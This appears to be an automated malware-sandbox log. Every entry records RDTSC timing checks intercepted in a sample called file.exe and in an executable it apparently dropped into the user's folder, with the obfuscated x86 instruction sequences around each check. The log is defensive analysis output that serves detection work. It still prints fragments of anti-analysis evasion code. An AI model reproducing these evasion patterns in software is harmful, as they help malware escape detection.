Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D0CD second address: 71D0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9AD4C553B6h 0x0000000a pop edi 0x0000000b jng 00007F9AD4C553BCh 0x00000011 js 00007F9AD4C553B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D0E8 second address: 71D0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D0EC second address: 71D0F6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9AD4C553B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D258 second address: 71D25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72213A second address: 722141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722141 second address: 722164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9AD51D02ABh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721D2A second address: 721D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724DA3 second address: 724DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B11 second address: 733B3C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AD4C553D1h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F9AD4C553C9h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733B3C second address: 733B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7438BF second address: 7438C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7438C5 second address: 7438C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7463DC second address: 7463EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9AD4C553C2h 0x00000008 jnl 00007F9AD4C553B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BD06 second address: 75BD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9AD51D02ACh 0x0000000c pop edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jne 00007F9AD51D02A6h 0x00000017 pop ebx 0x00000018 jnl 00007F9AD51D02AAh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9AD51D02B8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BD49 second address: 75BD4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AEBE second address: 75AEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AEC4 second address: 75AEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B901 second address: 75B912 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F9AD51D02B0h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BA55 second address: 75BA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F9AD4C553B6h 0x00000011 jmp 00007F9AD4C553BEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BA74 second address: 75BA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BA78 second address: 75BA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F9AD4C553BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FC5A second address: 75FC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601CF second address: 7601D9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601D9 second address: 7601DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601DF second address: 7601E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601E3 second address: 760220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F9AD51D02ADh 0x00000010 add edx, 3A0AF8E5h 0x00000016 pop edx 0x00000017 push dword ptr [ebp+124563A1h] 0x0000001d mov dh, 17h 0x0000001f mov dword ptr [ebp+124507D7h], ebx 0x00000025 push 03CFE93Ah 0x0000002a jnp 00007F9AD51D02B0h 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76344C second address: 763450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763450 second address: 763465 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9AD51D02A6h 0x00000008 jmp 00007F9AD51D02ABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763465 second address: 763485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C6h 0x00000007 jc 00007F9AD4C553CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02E1 second address: 4DA02ED instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 mov bx, cx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02ED second address: 4DA0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 pushad 0x00000008 mov cl, dl 0x0000000a pushfd 0x0000000b jmp 00007F9AD4C553C4h 0x00000010 add esi, 05FBE4C8h 0x00000016 jmp 00007F9AD4C553BBh 0x0000001b popfd 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F9AD4C553C5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0374 second address: 4DA0378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0378 second address: 4DA037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA037E second address: 4DA03E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 mov si, 84EFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push ecx 0x0000000f mov esi, edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F9AD51D02B6h 0x00000019 xor ecx, 07360E48h 0x0000001f jmp 00007F9AD51D02ABh 0x00000024 popfd 0x00000025 jmp 00007F9AD51D02B8h 0x0000002a popad 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9AD51D02AEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03E5 second address: 4DA041C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9AD4C553C1h 0x00000008 pop eax 0x00000009 mov cx, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F9AD4C553C3h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA041C second address: 4DA0420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0420 second address: 4DA0426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA046A second address: 4DA0479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0479 second address: 4DA04B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007F9AD4C553BBh 0x0000000c adc ecx, 3FDBDB6Eh 0x00000012 jmp 00007F9AD4C553C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04B5 second address: 4DA04B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04B9 second address: 4DA04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04BF second address: 4DA04C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04C4 second address: 4DA0520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9AD4C553C8h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F9AD4C553BDh 0x00000019 pushfd 0x0000001a jmp 00007F9AD4C553C0h 0x0000001f jmp 00007F9AD4C553C5h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0520 second address: 4DA0526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0526 second address: 4DA052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0573 second address: 4DA0582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0582 second address: 4DA05BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9AD4C553C1h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05BB second address: 4DA05D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06A1 second address: 4DA06C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9AD4C553C9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06C7 second address: 4DA06CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06CD second address: 4DA06D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07C5 second address: 4DA08A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F9AD51D02AEh 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 jmp 00007F9AD51D02B0h 0x00000019 inc edi 0x0000001a jmp 00007F9AD51D02B0h 0x0000001f test al, al 0x00000021 jmp 00007F9AD51D02B0h 0x00000026 jne 00007F9B466584FCh 0x0000002c jmp 00007F9AD51D02B0h 0x00000031 mov ecx, edx 0x00000033 jmp 00007F9AD51D02B0h 0x00000038 shr ecx, 02h 0x0000003b jmp 00007F9AD51D02B0h 0x00000040 rep movsd 0x00000042 rep movsd 0x00000044 rep movsd 0x00000046 rep movsd 0x00000048 rep movsd 0x0000004a jmp 00007F9AD51D02B0h 0x0000004f mov ecx, edx 0x00000051 jmp 00007F9AD51D02B0h 0x00000056 and ecx, 03h 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F9AD51D02B7h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08A4 second address: 4DA08AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08AA second address: 4DA08D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9AD51D02B5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08D4 second address: 4DA08DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08DA second address: 4DA08DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08DE second address: 4DA0901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9AD4C553C2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0901 second address: 4DA0913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD51D02AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0913 second address: 4DA0917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0917 second address: 4DA0A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9AD51D02ADh 0x00000011 sub ecx, 55AACA36h 0x00000017 jmp 00007F9AD51D02B1h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F9AD51D02B0h 0x00000023 xor ax, C958h 0x00000028 jmp 00007F9AD51D02ABh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ecx, dword ptr [ebp-10h] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F9AD51D02B4h 0x00000039 sub si, D3B8h 0x0000003e jmp 00007F9AD51D02ABh 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007F9AD51D02B8h 0x0000004a or ch, 00000018h 0x0000004d jmp 00007F9AD51D02ABh 0x00000052 popfd 0x00000053 popad 0x00000054 mov dword ptr fs:[00000000h], ecx 0x0000005b jmp 00007F9AD51D02B6h 0x00000060 pop ecx 0x00000061 jmp 00007F9AD51D02B0h 0x00000066 pop edi 0x00000067 jmp 00007F9AD51D02B0h 0x0000006c pop esi 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 mov eax, ebx 0x00000072 call 00007F9AD51D02B9h 0x00000077 pop esi 0x00000078 popad 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A1E second address: 4DA0A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9AD4C553C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A4A second address: 4DA0A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0A50 second address: 4DA0573 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F9AD4C553C6h 0x00000011 retn 0008h 0x00000014 cmp dword ptr [ebp-2Ch], 10h 0x00000018 mov eax, dword ptr [ebp-40h] 0x0000001b jnc 00007F9AD4C553B5h 0x0000001d push eax 0x0000001e lea edx, dword ptr [ebp-00000590h] 0x00000024 push edx 0x00000025 call esi 0x00000027 push 00000008h 0x00000029 jmp 00007F9AD4C553C3h 0x0000002e call 00007F9AD4C553B9h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F9AD4C553C0h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BBB second address: 4DA0BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BC1 second address: 4DA0BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BC5 second address: 4DA0BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9AD51D02B5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BE5 second address: 4DA0BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BEB second address: 4DA0BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0BEF second address: 4DA0C1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9AD4C553C0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C1D second address: 4DA0C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C21 second address: 4DA0C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C27 second address: 4DA0C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 call 00007F9AD51D02B9h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9AD51D02AAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0C58 second address: 4DA0C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 6DF339 second address: 6DF34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9AD51D02AEh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 6DF34E second address: 6DEBE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F9AD4C553B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d xor dword ptr [ebp+122D2AC8h], edx 0x00000013 push dword ptr [ebp+122D0CD9h] 0x00000019 cld 0x0000001a jmp 00007F9AD4C553BBh 0x0000001f call dword ptr [ebp+122D33F2h] 0x00000025 pushad 0x00000026 jnp 00007F9AD4C553CEh 0x0000002c xor eax, eax 0x0000002e mov dword ptr [ebp+122D2ADBh], eax 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 jnp 00007F9AD4C553CAh 0x0000003e jmp 00007F9AD4C553C4h 0x00000043 mov dword ptr [ebp+122D3A35h], eax 0x00000049 jmp 00007F9AD4C553BAh 0x0000004e mov esi, 0000003Ch 0x00000053 mov dword ptr [ebp+122D2ADBh], esi 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d mov dword ptr [ebp+122D2ADBh], esi 0x00000063 lodsw 0x00000065 mov dword ptr [ebp+122D2ADBh], edi 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f jmp 00007F9AD4C553BEh 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 jmp 00007F9AD4C553BCh 0x0000007d nop 0x0000007e push edi 0x0000007f jne 00007F9AD4C553B8h 0x00000085 pop edi 0x00000086 push eax 0x00000087 jo 00007F9AD4C553CDh 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 85172D second address: 851731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 851731 second address: 851737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 851737 second address: 85175B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9AD51D02B3h 0x0000000c push eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8519CC second address: 8519EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9AD4C553B6h 0x0000000a popad 0x0000000b jmp 00007F9AD4C553C7h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8519EE second address: 8519F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8519F3 second address: 8519F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
